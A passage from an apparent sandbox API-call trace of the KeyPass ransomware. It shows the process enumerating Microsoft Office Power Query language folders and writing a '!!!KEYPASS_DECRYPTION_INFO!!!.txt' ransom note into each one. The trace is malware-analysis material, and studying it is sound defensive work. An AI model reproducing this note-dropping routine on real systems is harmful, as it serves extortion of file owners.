for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.764] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.764] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.765] FindNextFileW (in: hFindFile=0x3900130, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.765] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.765] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.765] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.765] GetLastError () returned 0x3f0 [0248.765] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.765] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\quz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x73c [0248.824] GetFileType (hFile=0x73c) returned 0x1 [0248.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.824] WriteFile (in: hFile=0x73c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.825] WriteFile (in: hFile=0x73c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.825] CloseHandle (hObject=0x73c) returned 1 [0248.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3900030 [0248.825] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.825] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.825] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.825] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.826] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.826] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.826] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.826] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.826] FindNextFileW (in: hFindFile=0x3900030, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.826] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.826] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.826] GetLastError () returned 0x3f0 [0248.826] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.826] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x71c [0248.841] GetFileType (hFile=0x71c) returned 0x1 [0248.842] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.842] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.842] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.842] WriteFile (in: hFile=0x71c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.842] WriteFile (in: hFile=0x71c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.843] CloseHandle (hObject=0x71c) returned 1 [0248.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffcb0 [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.843] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.844] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.844] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.844] FindNextFileW (in: hFindFile=0x38ffcb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.844] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.844] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.844] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.844] GetLastError () returned 0x3f0 [0248.844] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.844] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0248.877] GetFileType (hFile=0x740) returned 0x1 [0248.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.877] WriteFile (in: hFile=0x740, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.878] WriteFile (in: hFile=0x740, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.878] CloseHandle (hObject=0x740) returned 1 [0248.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffff0 [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.878] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.879] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.879] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.879] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.879] FindNextFileW (in: hFindFile=0x38ffff0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.879] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.879] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.879] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.879] GetLastError () returned 0x3f0 [0248.879] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.879] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sd-arab-pk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748 [0248.883] GetFileType (hFile=0x748) returned 0x1 [0248.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.883] WriteFile (in: hFile=0x748, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.884] WriteFile (in: hFile=0x748, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.884] CloseHandle (hObject=0x748) returned 1 [0248.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38fff70 [0248.884] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.884] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.884] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.884] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.884] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.884] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.884] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.885] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.885] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.885] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.885] FindNextFileW (in: hFindFile=0x38fff70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.885] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.885] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.885] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.885] GetLastError () returned 0x3f0 [0248.885] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.885] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\si\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0248.973] GetFileType (hFile=0x744) returned 0x1 [0248.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.973] GetLocaleInfoEx (in: 